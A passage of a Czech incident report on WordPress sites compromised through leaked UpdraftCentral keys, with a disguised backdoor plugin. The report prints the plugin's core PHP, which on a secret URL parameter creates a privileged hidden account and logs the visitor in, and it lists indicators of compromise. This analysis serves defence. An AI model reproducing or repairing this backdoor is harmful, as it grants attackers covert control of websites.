od stejn\u00e9ho \u00fato\u010dn\u00edka, s odstupem n\u011bkolika hodin.<\/p>\n<h2 id=\"jak-\u00fatok-prob\u011bhl\">Jak \u00fatok prob\u011bhl<\/h2>\n<p>P\u0159i p\u0159ipojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r kl\u00ed\u010d\u016f RSA a ve\u0159ejn\u00fd kl\u00ed\u010d po\u0161le slu\u017eb\u011b UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00ed p\u00e1r kl\u00ed\u010d\u016f a webu po\u0161le jen sv\u016fj ve\u0159ejn\u00fd kl\u00ed\u010d. Soukrom\u00fd kl\u00ed\u010d dashboardu z\u016fst\u00e1v\u00e1 u slu\u017eby. Ka\u017ed\u00fd p\u0159\u00edkaz mus\u00ed b\u00fdt za\u0161ifrovan\u00fd pro kl\u00ed\u010d webu a podepsan\u00fd soukrom\u00fdm kl\u00ed\u010dem dashboardu. Web ho pak provede s pr\u00e1vy u\u017eivatele, kter\u00fd kl\u00ed\u010d ve WordPressu vytvo\u0159il.<\/p>\n<p>P\u0159\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> pro\u0161el na dvou webech celou touto kontrolou. Podrobn\u011b jsme to rozebrali na webu A a vylou\u010dili jsme tato vysv\u011btlen\u00ed:<\/p>\n<ol type=\"1\">\n<li><strong>Zn\u00e1m\u00e1 zranitelnost CVE-2026-10795.<\/strong> T\u00fdk\u00e1 se verz\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby m\u011bly 2.26.11. Pokusy o jej\u00ed zneu\u017eit\u00ed vid\u00edme na webech B a C v loz\u00edch od \u010dervna z des\u00edtek IP adres a v\u0161echny skon\u010dily hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n<li><strong>Upraven\u00fd plugin.<\/strong> Soubory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> jsou bajt po bajtu shodn\u00e9 s ofici\u00e1ln\u00ed verz\u00ed 1.26.11 z wordpress.org.<\/li>\n<li><strong>Star\u0161\u00ed form\u00e1t zpr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pro kl\u00ed\u010de UpdraftCentral odm\u00edt\u00e1 a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po t\u00e9to kontrole.<\/li>\n<li><strong>Podvr\u017een\u00fd kl\u00ed\u010d dashboardu.<\/strong> Otisky kl\u00ed\u010d\u016f jsou stejn\u00e9 v denn\u00edch z\u00e1loh\u00e1ch z 15. a\u017e 18. \u0159\u00edjna i v \u017eiv\u00e9 datab\u00e1zi a v access loz\u00edch nikdo nevolal funkci pro v\u00fdm\u011bnu kl\u00ed\u010de.<\/li>\n<li><strong>Slab\u00e1 kryptografie.<\/strong> Kl\u00ed\u010d webu i dashboardu maj\u00ed RSA 2048 bit\u016f s exponentem 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, ve kter\u00e9 je opraven\u00e1 zn\u00e1m\u00e1 chyba v ov\u011b\u0159ov\u00e1n\u00ed podpis\u016f.<\/li>\n<li><strong>Napaden\u00fd wp-admin.<\/strong> Nezn\u00e1m\u00ed administr\u00e1to\u0159i nep\u0159ibyli, kontroln\u00ed sou\u010dty j\u00e1dra i plugin\u016f sed\u00ed a v loz\u00edch nen\u00ed \u017e\u00e1dn\u00e9 nahr\u00e1n\u00ed pluginu p\u0159es administraci.<\/li>\n<\/ol>\n<p>\u00dato\u010dn\u00edk tedy m\u011bl soukrom\u00e9 kl\u00ed\u010de dashboardu pro v\u0161echna t\u0159i spojen\u00ed najednou. Na na\u0161ich serverech tyto kl\u00ed\u010de nikdy nebyly, tak\u017ee odtud uniknout nemohly. P\u0159\u00edkazy p\u0159itom nep\u0159i\u0161ly ze serveru TeamUpdraft. Skute\u010dn\u00fd dashboard pos\u00edlal na web B v b\u0159eznu a dubnu 2026 p\u0159\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>\u00dato\u010dn\u00edk pos\u00edlal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, bez verze knihovny a bez URL, ze sv\u00e9ho serveru. Kl\u00ed\u010de tedy unikly z prost\u0159ed\u00ed UpdraftCentral Cloud a \u00fato\u010dn\u00edk je pou\u017eil mimo n\u011bj.<\/p>\n<p>TeamUpdraft 19. \u0159\u00edjna potvrdil, \u017ee b\u011bhem v\u00edkendu 17. a 18. \u0159\u00edjna m\u011bl \u00fato\u010dn\u00edk p\u0159\u00edstup na teamupdraft.com a pravd\u011bpodobn\u011b i k z\u00e1kaznick\u00e9 datab\u00e1zi v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral. Kl\u00ed\u010de tedy unikly z infrastruktury v\u00fdrobce. Odpov\u00edd\u00e1 tomu i \u010dasov\u00e1 osa: kl\u00ed\u010de pro weby B a C existovaly od listopadu 2025 a \u00fato\u010dn\u00edk je nepou\u017eil a\u017e do noci z 18. na 19. \u0159\u00edjna, tedy hned po \u00faniku. Jak se \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobce neuvedl.<\/p>\n<p>Na webu C \u00fatok selhal n\u00e1hodou. Kl\u00ed\u010d tam v listopadu 2025 vytvo\u0159il u\u017eivatel, kter\u00fd u\u017e nen\u00ed administr\u00e1tor. UpdraftCentral p\u0159ed instalac\u00ed ov\u011b\u0159uje, zda m\u00e1 vlastn\u00edk kl\u00ed\u010de pr\u00e1va <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code>. Nem\u011bl ani jedno.<\/p>\n<h2 id=\"pro\u010d-jde-o-kritick\u00fd-probl\u00e9m-updraftcentral\">Pro\u010d jde o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\n<p>Klient UpdraftCentral je sou\u010d\u00e1st\u00ed ka\u017ed\u00e9 kopie UpdraftPlus, bezplatn\u00e9 i pr\u00e9miov\u00e9. Zapne se, kdy\u017e majitel p\u0159ipoj\u00ed web k dashboardu. Od t\u00e9 chv\u00edle web provede ka\u017ed\u00fd p\u0159\u00edkaz podepsan\u00fd kl\u00ed\u010dem dashboardu s pr\u00e1vy administr\u00e1tora, kter\u00fd spojen\u00ed vytvo\u0159il, v\u010detn\u011b nahr\u00e1n\u00ed a aktivace libovoln\u00e9ho pluginu. Majitel webu p\u0159\u00edkaz nepotvrzuje a v na\u0161em p\u0159\u00edpad\u011b n\u00e1s na n\u011bj nic neupozornilo. Kl\u00ed\u010de na stran\u011b webu nemaj\u00ed dobu platnosti: ty z listopadu 2025 fungovaly i v \u0159\u00edjnu 2026.<\/p>\n<p>Bezpe\u010dnost v\u0161ech p\u0159ipojen\u00fdch web\u016f tak stoj\u00ed na jedin\u00e9m p\u0159edpokladu, \u017ee soukrom\u00e9 kl\u00ed\u010de dashboardu neuniknou. Unikly, a \u00fato\u010dn\u00edk z jednoho m\u00edsta b\u011bhem p\u00e1r hodin ovl\u00e1dl dva weby a pokusil se o t\u0159et\u00ed. UpdraftPlus m\u00e1 v\u00edce ne\u017e 4 miliony aktivn\u00edch instalac\u00ed. Po\u010dtem instalac\u00ed ho mezi pluginy se z\u00e1lohov\u00e1n\u00edm na wordpress.org p\u0159edb\u00edh\u00e1 jen All-in-One WP Migration (5+ milion\u016f), kter\u00fd slou\u017e\u00ed hlavn\u011b k migraci web\u016f. UpdraftCentral pou\u017e\u00edv\u00e1 jen \u010d\u00e1st u\u017eivatel\u016f UpdraftPlus, i mal\u00fd pod\u00edl ze 4 milion\u016f v\u0161ak znamen\u00e1 hodn\u011b web\u016f.<\/p>\n<p>Stejn\u00fd kan\u00e1l u\u017e jednou selhal. V \u010dervnu 2026 v\u00fdrobce opravil zranitelnost CVE-2026-10795 (CVSS 8.1), p\u0159es kterou mohl \u00fato\u010dn\u00edk bez p\u0159ihl\u00e1\u0161en\u00ed podvrhnout p\u0159\u00edkazy UpdraftCentral a nainstalovat a aktivovat \u0161kodliv\u00fd plugin. Pokusy o jej\u00ed zneu\u017eit\u00ed zachyt\u00e1v\u00e1me v na\u0161ich loz\u00edch dodnes.<\/p>\n<h2 id=\"co-p\u0159esn\u011b-backdoor-d\u011bl\u00e1\">Co p\u0159esn\u011b backdoor d\u011bl\u00e1<\/h2>\n<p>Plugin m\u00e1 p\u011bt soubor\u016f, ale logiku obsahuje jen hlavn\u00ed. Tady je jeho podstatn\u00e1 \u010d\u00e1st ze vzorku z webu A. Token a heslo jsme zkr\u00e1tili:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 znak\u016f\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 znak\u016f\n\nfinal class LoadStack35c {\n    private function __construct() {\n        add_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n    }\n\n    public function handle_sync() {\n        if ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n            $user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n            if ( ! $user ) {\n                $uid = wp_insert_user( array(\n                    &#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n                    &#39;user_pass&#39;    =&gt; self::SVC_PASS,\n                    &#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n                    &#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n                    &#39;role&#39;         =&gt; &#39;editor&#39;,\n                ) );\n                if ( is_wp_error( $uid ) ) return;\n                $u = new WP_User( $uid );\n                $u-&gt;add_cap( &#39;manage_options&#39; );\n                $u-&gt;add_cap( &#39;install_plugins&#39; );\n                $user = get_user_by( &#39;id&#39;, $uid );\n            }\n            wp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n            wp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n            wp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n            exit;\n        }\n    }\n}\n\nregister_activation_hook( __FILE__, function () {\n    if ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n        update_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n    }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>Takto by fungoval, kdyby v n\u011bm nebyla chyba:<\/p>\n<ol type=\"1\">\n<li>P\u0159i ka\u017ed\u00e9m po\u017eadavku na web se zav\u011bs\u00ed na akci <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> s prioritou 1, tedy d\u0159\u00edve ne\u017e v\u011bt\u0161ina ostatn\u00edch plugin\u016f.<\/li>\n<li>Pod\u00edv\u00e1 se, zda adresa obsahuje parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32znakov\u00fdm tokenem. Porovn\u00e1v\u00e1 funkc\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, kter\u00e1 trv\u00e1 stejn\u011b dlouho bez ohledu na shodu, tak\u017ee token nejde uhodnout m\u011b\u0159en\u00edm \u010dasu odpov\u011bdi. Bez spr\u00e1vn\u00e9ho tokenu se nestane nic a web se chov\u00e1 norm\u00e1ln\u011b.<\/li>\n<li>Se spr\u00e1vn\u00fdm tokenem vytvo\u0159\u00ed u\u017eivatele <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> s heslem zapsan\u00fdm v pluginu, e-mailem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> a zobrazovan\u00fdm jm\u00e9nem \u201eSite Tools\u201c.<\/li>\n<li>D\u00e1 mu roli Editor a k tomu dv\u011b samostatn\u00e1 opr\u00e1vn\u011bn\u00ed: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>P\u0159ihl\u00e1s\u00ed n\u00e1v\u0161t\u011bvn\u00edka jako tohoto u\u017eivatele p\u0159es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> s volbou \u201ezapamatovat si m\u011b\u201c, tedy cookie platnou 14 dn\u00ed. P\u0159ihla\u0161ovac\u00ed formul\u00e1\u0159 t\u00edm \u00fapln\u011b obejde, tak\u017ee na n\u011bj nep\u016fsob\u00ed dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed, omezen\u00ed po\u010dtu pokus\u016f ani ochrana p\u0159ihl\u00e1\u0161en\u00ed ve Wordfence.<\/li>\n<li>P\u0159esm\u011bruje ho do administrace.<\/li>\n<\/ol>\n<p>Role Editor se dv\u011bma opr\u00e1vn\u011bn\u00edmi nav\u00edc je z\u00e1m\u011br. V seznamu u\u017eivatel\u016f se \u00fa\u010det ukazuje jako Editor, ne Administr\u00e1tor, tak\u017ee p\u0159i b\u011b\u017en\u00e9 kontrole admin\u016f ho p\u0159ehl\u00e9dnete. Prakticky m\u00e1 ale plnou moc nad webem:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> dovol\u00ed nahr\u00e1t libovoln\u00fd plugin. Jeho PHP soubory jde spustit p\u0159\u00edmo p\u0159es URL i bez aktivace, co\u017e znamen\u00e1 spu\u0161t\u011bn\u00ed libovoln\u00e9ho k\u00f3du na serveru.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> zp\u0159\u00edstupn\u00ed v\u0161echna nastaven\u00ed. Sta\u010d\u00ed zapnout registraci a v\u00fdchoz\u00ed roli nastavit na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvo\u0159\u00ed plnohodnotn\u00e9ho admina.<\/li>\n<li>Editor m\u00e1 na b\u011b\u017en\u00e9m WordPressu i <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code>, tak\u017ee m\u016f\u017ee do \u010dl\u00e1nk\u016f vlo\u017eit JavaScript, kter\u00fd se spust\u00ed v prohl\u00ed\u017ee\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\n<p>Backdoor m\u00e1 i druhou vrstvu. Vytvo\u0159en\u00fd \u00fa\u010det se zn\u00e1m\u00fdm heslem z\u016fstane ve WordPressu i po odstran\u011bn\u00ed pluginu a \u00fato\u010dn\u00edk se j\u00edm um\u00ed p\u0159ihl\u00e1sit p\u0159es b\u011b\u017en\u00fd formul\u00e1\u0159, pokud tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed.<\/p>\n<h3 id=\"chyba-kter\u00e1-n\u00e1s-zachr\u00e1nila\">Chyba, kter\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\n<p>Konstanty jsou definovan\u00e9 funkc\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> jako glob\u00e1ln\u00ed (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), ale k\u00f3d je \u010dte jako konstanty t\u0159\u00eddy (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). T\u0159\u00edda \u017e\u00e1dn\u00e9 konstanty nem\u00e1. PHP 8 proto p\u0159i prvn\u00edm vyhodnocen\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code> vyhod\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane se to je\u0161t\u011b p\u0159ed kontrolou tokenu, tedy p\u0159i ka\u017ed\u00e9m po\u017eadavku: p\u0159i b\u011b\u017en\u00e9 n\u00e1v\u0161t\u011bv\u011b, v administraci, p\u0159i p\u0159ihl\u00e1\u0161en\u00ed, v REST API, p\u0159i cronu i ve WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje jen str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\n<p>Po\u017eadavek s instalac\u00ed p\u0159itom dob\u011bhl \u00fasp\u011b\u0161n\u011b. UpdraftCentral zpracov\u00e1v\u00e1 p\u0159\u00edkazy a\u017e v akci <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, kter\u00e1 p\u0159ich\u00e1z\u00ed po <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, tak\u017ee v tom po\u017eadavku se chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrzen\u00ed o \u00fasp\u011bchu a o chyb\u011b se z odpov\u011bdi nedozv\u011bd\u011bl. Spadly a\u017e n\u00e1sleduj\u00edc\u00ed po\u017eadavky.<\/p>\n<p>\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravit p\u00e1r znak\u016f a dal\u0161\u00ed vlna m\u016f\u017ee fungovat. <strong>Pokud u sebe najdete podobn\u00fd \u201erozbit\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapnula. Odstra\u0148te ho.<\/p>\n<h3 id=\"dal\u0161\u00ed-detaily\">Dal\u0161\u00ed detaily<\/h3>\n<ul>\n<li>Plugin se tv\u00e1\u0159\u00ed jako b\u011b\u017en\u00fd dopln\u011bk: m\u00e1 \u00faplnou hlavi\u010dku, licenci GPL, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymy\u0161len\u00e9 vydavatelstv\u00ed (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n<li>Soubory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> obsahuj\u00ed jen koment\u00e1\u0159. Plugin je nikde nepou\u017e\u00edv\u00e1, jsou tam, aby adres\u00e1\u0159 vypadal jako skute\u010dn\u00fd plugin.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> p\u0159i odinstalaci z administrace sma\u017ee volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code>, tedy stopy po sob\u011b. Druhou volbu k\u00f3d nikde nevytv\u00e1\u0159\u00ed, je to poz\u016fstatek \u0161ablony.<\/li>\n<li>P\u0159i aktivaci ulo\u017e\u00ed token do volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edt\u00e1n\u00ed. K\u00f3d ji nikde ne\u010dte.<\/li>\n<li>Oba vzorky vyrobil stejn\u00fd gener\u00e1tor. Kdy\u017e v nich nahrad\u00edme n\u00e1zvy, tokeny, jm\u00e9na a verze z\u00e1stupn\u00fdmi \u0159et\u011bzci, jsou v\u0161echny soubory bajt po bajtu shodn\u00e9. N\u00e1zev m\u00e1 tvar <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo-3 hex znaky<\/code>, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> a 6 hex znak\u016f, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo<\/code> a dv\u011b \u010d\u00edslice. Token m\u00e1 32 znak\u016f a heslo 22 znak\u016f (p\u00edsmena, \u010d\u00edslice, podtr\u017e\u00edtko).<\/li>\n<\/ul>\n<h2 id=\"indik\u00e1tory-kompromitace\">Indik\u00e1tory kompromitace<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Web A<\/th>\n<th>Web B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Adres\u00e1\u0159 pluginu<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>N\u00e1zev \/ autor \/ verze<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Parametr v URL<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>U\u017eivatel<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Volba v datab\u00e1zi<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code 